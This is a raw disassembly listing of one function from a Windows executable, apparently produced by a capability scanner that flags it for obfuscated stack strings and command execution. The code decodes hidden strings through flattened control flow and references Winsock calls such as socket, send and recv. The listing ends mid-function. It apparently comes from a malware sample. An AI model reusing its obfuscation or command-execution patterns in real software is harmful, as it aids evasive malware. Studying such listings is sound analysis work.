Function at 0x140044f60
Capabilities:
Contain obfuscated stackstrings
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x260]
sub rsp, 0x360
mov rax, qword [0x1401ec280]
xor rax, rsp
mov qword [rbp + 0x250], rax
mov dword [rsp + 0x30], 0x5a60434b
mov dword [rsp + 0x34], 0x7e6c7375
mov dword [rsp + 0x38], 0x56687077
mov dword [rsp + 0x3c], 0x7c74740d
mov dword [rsp + 0x40], 0x77aaa865
mov dword [rsp + 0x44], 0x65676f7e
mov dword [rsp + 0x48], 0x9b616375
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x4c], xmm0
mov dword [rsp + 0x5c], eax
movabs r15, 0x525460527acf3955
movabs r14, 0x7aa05c01b378a6c9
movabs r12, 0x76c3b3472ccc39a4
movabs r13, 0x5ae463fa831ea8a0
movzx edi, byte [rsp + 0x20]
movabs rsi, 0xfeb6726c7dc68649
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
nop word [rax + rax]
xor r10d, r10d
cmp r10, 0x30
jae 0x1400459dd
movzx r9d, byte [rsp + r10 + 0x30]
cmp rbx, r10
ja 0x1400459d4
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140045078
movabs rcx, 0xc6f7d3d32a6b6441
add rcx, r10
mov eax, r9d
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
add dil, 0x39
jmp 0x1400450b2
je 0x14004594a
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140045912
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400458e6
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400458b7
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140045866
movzx r11d, r9b
cmp r8, r10
ja 0x1400459cb
lea rsi, [r8 + 1]
lea rax, [r8 + 6]
cmp rbx, rax
jae 0x1400450ef
lea rdx, [r10 + r15]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r11b
sub dil, al
sub dl, 0x53
add dil, dl
lea rdx, [r8 + 3]
lea rcx, [r8 + 5]
jmp 0x140045120
cmp rbx, rsi
je 0x14004584d
lea rdx, [r8 + 3]
cmp rbx, rdx
je 0x140045821
lea rcx, [r8 + 5]
cmp rbx, rcx
je 0x140045802
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400457e6
nop
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14004545f
nop dword [rax]
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140045443
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14004540d
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400453e4
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x1400453be
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140045130
mov rbx, rax
lea r8, [rax + 0x64]
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x1400459ae
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140045987
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14004520d
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140045333
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x1400452e2
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 0x1000]
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x1400452bf
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140045299
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14004527c
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140045252
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14004522c
mov rbx, rax
lea r8, [rax + 0x2a]
jmp 0x140045130
lea rdx, [r10 + r14]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r11b
sub dil, al
sub dil, 0x7f
add dil, dl
jmp 0x1400450b6
movabs rcx, 0x92a30293d679caa8
add rcx, r10
and r9b, cl
mov eax, 0x34
sub al, r9b
lea edi, [rax + rax]
add dil, r11b
add dil, cl
jmp 0x140045884
lea rax, [r10 + r12]
and r9b, al
add r9b, r9b
sub r11b, r9b
lea edi, [rax + r11]
sub dil, 0x7c
dec r10
inc r10
movabs rsi, 0xfeb6726c7dc68649
jmp 0x140045033
lea rax, [r10 + r13]
and r9b, al
add r9b, r9b
sub r11b, r9b
lea edi, [rax + r11]
sub dil, 0x60
add rbx, r8
jmp 0x140045927
movabs rcx, 0xb1156d07849a4f1a
add rcx, r10
and r9b, cl
mov eax, 0x25
sub al, r9b
lea edi, [rax + rax]
add dil, r11b
add dil, cl
jmp 0x1400457b4
movabs rax, 0x2325c5612fc38698
add rax, r10
and r9b, al
add r9b, r9b
sub r11b, r9b
lea edi, [rax + r11]
sub dil, 0x28
jmp 0x140045969
movabs rcx, 0xb25efa9b06d3c8d1
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r11b, al
lea edi, [rcx + r11]
add dil, 0x49
cmp r8, 0x400
jb 0x140045707
lea edx, [r10 - 0x1a]
movzx eax, r9b
and al, dl
mov ecx, 0x1b
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea edi, [rcx + rcx]
movzx r11d, r9b
jmp 0x140045884
movabs rcx, 0x967fab4e5d2637cd
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r11b, al
lea edi, [rcx + r11]
add dil, 0x65
lea rax, [r8 + rbx]
cmp rax, 0x2a
je 0x140045764
lea rax, [r8 + 0x2a]
cmp rbx, rax
jbe 0x140045559
lea edx, [r10 + 0x7d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6b
add dil, dl
cmp rbx, 0x42
jae 0x14004571e
lea rcx, [r8 + 5]
cmp rbx, rcx
jbe 0x140045630
lea edx, [r10 - 0x2e]
movzx eax, r9b
and al, dl
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140045302
movabs rcx, 0x600a9a488c048f7c
add rcx, r10
and r9b, cl
add r9b, r9b
movzx edi, r11b
sub dil, r9b
sub dil, 0x64
add dil, cl
jmp 0x1400457b4
movabs rcx, 0xb63ba3558d8035f6
add rcx, r10
and r9b, cl
mov eax, 0x23
sub al, r9b
lea edi, [rax + rax]
add dil, r11b
add dil, cl
add rbx, r8
jmp 0x140045927
movabs rcx, 0x9a5c5408e3d2a4f2
add rcx, r10
and r9b, cl
mov eax, 0x31
sub al, r9b
lea edi, [rax + rax]
add dil, r11b
add dil, cl
dec r10
inc r10
movabs rsi, 0xfeb6726c7dc68649
jmp 0x140045033
lea edx, [r10 - 0x12]
movzx eax, r9b
and al, dl
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140045881
lea rax, [r8 + 0x1000]
cmp rbx, rax
jae 0x14004548a
lea edx, [r10 + 0x41]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x39
add dil, dl
jmp 0x140045353
cmp rbx, rsi
jne 0x1400454ae
lea edx, [r10 - 0x56]
movzx eax, r9b
and al, dl
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140045969
cmp rbx, rdx
jne 0x1400454d3
lea edx, [r10 - 0x52]
movzx eax, r9b
and al, dl
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
movzx esi, r10b
jmp 0x140045787
cmp rbx, rcx
jne 0x1400454f8
lea edx, [r10 + 0x34]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6c
movzx r11d, r10b
jmp 0x14004573a
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140045530
lea edx, [r10 - 0x4a]
movzx eax, r9b
and al, dl
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
movabs rsi, 0xfeb6726c7dc68649
jmp 0x140045033
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140045353
lea edx, [r10 - 0x46]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x16
jmp 0x140045881
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004557e
lea edx, [r10 - 1]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 7
jmp 0x14004587d
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400455b3
lea ecx, [r10 + 3]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x15
dec r10
inc r10
movabs rsi, 0xfeb6726c7dc68649
jmp 0x140045033
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400455db
lea ecx, [r10 + 7]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x31
add rbx, r8
jmp 0x140045927
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140045600
lea ecx, [r10 - 0x77]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x41
jmp 0x140045927
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140045388
lea edx, [r10 - 0x73]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x25
add dil, dl
movzx r11d, r9b
jmp 0x1400457b4
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140045655
lea ecx, [r10 + 0x54]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x4c
jmp 0x140045969
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140045681
lea edx, [r10 - 0x2a]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx r11d, r9b
jmp 0x1400457b4
cmp rbx, rcx
jne 0x1400456a6
movzx r11d, r10b
lea edx, [r11 - 0x22]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x12
jmp 0x14004573a
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400456de
lea edx, [r10 + 0x60]
movzx eax, r9b
and al, dl
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
movabs rsi, 0xfeb6726c7dc68649
jmp 0x140045033
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140045302
lea edx, [r10 + 0x64]
movzx eax, r9b
and al, dl
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14004587d
mov byte [rsp + r10 + 0x30], dil
inc r10
movabs rsi, 0xfeb6726c7dc68649
jmp 0x140045033
movzx r11d, r10b
lea edx, [r11 + 0x68]
movzx eax, r9b
and al, dl
movzx ecx, byte [rsp + r10 + 0x30]
sub cl, al
add cl, 0x14
lea edi, [rcx + rcx]
add dil, dl
sub r11b, 0x57
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
add r9b, 0x61
add r9b, r11b
add r9b, dil
mov byte [rsp + r10 + 0x30], r9b
add rbx, r8
jmp 0x140045927
movzx esi, r10b
lea edx, [rsi - 0x16]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, byte [rsp + r10 + 0x30]
sub dil, 0x66
movzx r11d, r9b
add dil, dl
add sil, 0x2b
movzx eax, r11b
and al, sil
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x2d
add cl, sil
movzx eax, cl
mov byte [rsp + r10 + 0x30], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 + 0x6c]
movzx eax, r11b
and al, dl
mov ecx, 6
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rsp + r10 + 0x30], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
jmp 0x140045969
lea ecx, [r10 - 0x19]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x51
jmp 0x140045969
lea ecx, [r10 - 0x21]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x19
add rbx, r8
jmp 0x140045927
lea ecx, [r10 - 0x25]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 3
dec r10
inc r10
movabs rsi, 0xfeb6726c7dc68649
jmp 0x140045033
lea edx, [r10 - 0x29]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x1f
jmp 0x140045881
lea edx, [r10 - 0x2d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x3b
movzx r11d, r9b
add dil, dl
lea ecx, [r10 + 0x27]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x11
add r11b, cl
mov byte [rsp + r10 + 0x30], r11b
inc r8
dec r10
inc r10
movabs rsi, 0xfeb6726c7dc68649
jmp 0x140045033
lea ecx, [r10 + 0x51]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x37
inc r8
dec r10
inc r10
movabs rsi, 0xfeb6726c7dc68649
jmp 0x140045033
lea ecx, [r10 - 0x31]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x57
dec r10
inc r10
movabs rsi, 0xfeb6726c7dc68649
jmp 0x140045033
lea rcx, [r10 + rsi]
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [r9 + rcx]
inc dil
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
movabs rsi, 0xfeb6726c7dc68649
jmp 0x140045033
movabs rcx, 0x54e77b797f422cc3
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x55
movzx eax, byte [rsp + r10 + 0x30]
add rax, r8
add r10, rax
inc r10
movabs rsi, 0xfeb6726c7dc68649
jmp 0x140045033
sub r10b, 0x3b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x63
movabs rsi, 0xfeb6726c7dc68649
jmp 0x140045030
add r10b, 0x43
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x2b
jmp 0x14004500b
lea rdx, [rbp + 0x1675adc]
jmp 0x1400459e2
lea rdx, [rbp + 0xd2bf1d]
jmp 0x1400459e2
lea rdx, [rsp + 0x30]
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], 0
mov qword [rbp + 0x108], 0
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140045a10
lea rcx, [rbp + 0xf0]
call fcn.1400412c0
lea rax, [rbp + 0xf0]
mov qword [rbp + 0xe0], rax
xor r8d, r8d
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x110]
call fcn.140040aa0
nop
lea rcx, [rbp + 0x110]
cmp qword [rbp + 0x128], 7
cmova rcx, qword [rbp + 0x110]
call fcn.14013e4a4
test eax, eax
jne 0x14004cd0d
lea rcx, [rbp + 0x110]
call fcn.14004f120
nop
mov rdx, qword [rbp + 0x108]
cmp rdx, 0xf
jbe 0x140045ac0
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140045abb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140045abb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14013c8a8
mov qword [rbp + 0x100], 0
mov qword [rbp + 0x108], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xf0], 0
lea rax, [rbp + 0x130]
mov qword [rbp + 0xe0], rax
mov dword [rbp + 0x40], 0x6164a883
mov dword [rbp + 0x44], 0x64bb9d95
mov dword [rbp + 0x48], 0x9e966090
mov dword [rbp + 0x4c], 0x6669ab6f
mov word [rbp + 0x50], 0xfd6b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x52], xmm0
mov qword [rbp + 0x62], rax
mov dword [rbp + 0x6a], eax
mov word [rbp + 0x6e], ax
movabs r14, 0xa9913d52ae45c05e
movabs r12, 0x4fd6329d675cc1d6
movabs r15, 0xfcb3b7f80ad1411a
movzx edi, byte [rsp + 0x20]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
nop dword [rax]
nop dword [rax + rax]
xor r11d, r11d
cmp r11, 0x30
jae 0x14004663e
movzx r9d, byte [rbp + r11 + 0x40]
mov r10, r9
cmp rbx, r11
ja 0x140046635
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140045ba2
lea rcx, [r11 + r14]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
add dil, 0x6e
jmp 0x140045bc2
je 0x1400465be
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140046561
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14004653c
cmp r8, r11
ja 0x14004662c
lea rax, [r8 + 0x40]
cmp rbx, rax
jae 0x140045bf0
lea edx, [r11 - 0x4a]
movzx eax, dl
and al, r9b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140045c20
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400464f1
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400464cf
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400464a4
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14004615a
nop dword [rax]
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140046137
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14004610f
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400460ee
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x1400460cf
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x1400460b4
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140046099
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140046076
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004605a
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14004602c
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140045c30
lea rbx, [r8 + 0x10]
lea r8, [rbx + 0x1000]
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14004660c
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x1400465ec
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140045e10
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140045df5
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140045dda
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140045fea
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140045fa8
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140045f63
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140045f3c
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140045c30
lea rbx, [r8 + 8]
lea r8, [rbx + 0x200]
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140045f0e
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140045ef2
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x140045ecf
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140045eb4
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140045e99
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140045e7a
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140045e52
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x140045e2f
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140045c30
lea rbx, [r8 + 4]
lea r8, [rbx + 0x42]
jmp 0x140045c30
lea ecx, [r11 + 0xa]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x46
jmp 0x140045c20
lea ecx, [r11 + 0x4e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x22
jmp 0x140045bc2
lea edx, [r11 - 0x6e]
movzx eax, dl
and al, r9b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140045b73
lea edx, [r11 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r10d, r11b
jmp 0x14004650f
lea edx, [r11 - 0xc]
movzx eax, dl
and al, r9b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x140045b63
lea ecx, [r11 + 0x7c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x64
movzx r10d, r11b
jmp 0x140046414
lea ecx, [r11 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
jmp 0x140046436
lea ecx, [r11 + 4]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1c
jmp 0x140046439
lea edx, [r11 + 0x48]
movzx eax, dl
and al, r9b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r10d, r11b
jmp 0x140046475
lea edx, [r11 - 0x74]
movzx eax, dl
and al, r9b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14004657a
lea edx, [r11 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x140045b63
lea edx, [r11 - 6]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
mov byte [rbp + r11 + 0x40], dil
inc r11
jmp 0x140045b63
lea edx, [r11 + 0x3e]
movzx eax, dl
and al, r9b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp r8, 0x61
jb 0x140045f56
movzx r10d, r11b
lea edx, [r10 + 0x74]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x58]
jmp 0x14004650f
lea edx, [r11 - 0x7e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp rbx, 0x5a
jae 0x1400463f1
lea rax, [r8 + 0xa]
cmp rbx, rax
jbe 0x1400462e4
lea edx, [r11 + 0x1c]
movzx eax, dl
and al, r9b
mov ecx, 0x1e
jmp 0x140045f72
lea ecx, [r11 - 0x3a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6a
lea rax, [r8 + rbx]
cmp rax, 0x20
je 0x140046452
lea rax, [r8 + 0x28]
cmp rbx, rax
jbe 0x140046262
lea edx, [r11 + 0x66]
movzx eax, dl
and al, r9b
mov ecx, 0x1b
jmp 0x140045fb7
lea edx, [r11 + 0x44]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x140045b63
lea edx, [r11 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14004657a
movzx r10d, r11b
lea edx, [r10 - 0x34]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140046475
lea ecx, [r11 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
jmp 0x140046439
lea ecx, [r11 + 0x54]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4c
jmp 0x140046436
movzx r10d, r11b
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x28
jmp 0x140046414
lea ecx, [r11 - 0x24]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 4
dec r11
inc r11
jmp 0x140045b63
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x140045b63
movzx r10d, r11b
lea edx, [r10 + 0x64]
movzx eax, dl
and al, r9b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004650f
lea rax, [r8 + 0x2a]
cmp rbx, rax
jae 0x140046182
lea edx, [r11 + 0x5e]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140046000
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400461b9
lea edx, [r11 + 0x6c]
movzx eax, dl
and al, r9b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x140045b63
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400461dd
lea ecx, [r11 + 0x28]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x18
jmp 0x14004657d
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140046205
movzx r10d, r11b
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3c
jmp 0x140046475
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14004622d
lea edx, [r11 + 0x5c]
movzx eax, dl
and al, r9b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140046436
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140046000
lea edx, [r11 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x140045b63
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004628e
movzx r10d, r11b
lea edx, [r10 + 0x22]
movzx eax, dl
and al, r9b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004650f
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400462b8
lea ecx, [r11 - 0x66]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x36
dec r11
inc r11
jmp 0x140045b63
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140045fc2
movzx r10d, r11b
lea ecx, [r10 + 0x56]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5a
jmp 0x140046414
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004631b
lea edx, [r11 - 0x28]
movzx eax, dl
and al, r9b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x140045b63
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140046343
movzx r10d, r11b
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
jmp 0x140046475
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140046367
lea ecx, [r11 - 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x78
jmp 0x140046436
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140046393
movzx r10d, r11b
lea edx, [r10 - 0x7c]
movzx eax, dl
and al, r9b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140046414
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400463c4
lea edx, [r11 - 4]
movzx eax, dl
and al, r9b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x140045b63
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140045f7d
movzx r10d, r11b
lea edx, [r10 - 0x48]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 8
jmp 0x14004650c
movzx r10d, r11b
lea edx, [r10 + 0x30]
movzx eax, r9b
and al, dl
add al, al
movzx edi, byte [rbp + r11 + 0x40]
sub dil, al
sub dil, 0x50
add dil, r9b
add dil, dl
sub r10b, 0x72
movzx eax, r9b
and al, r10b
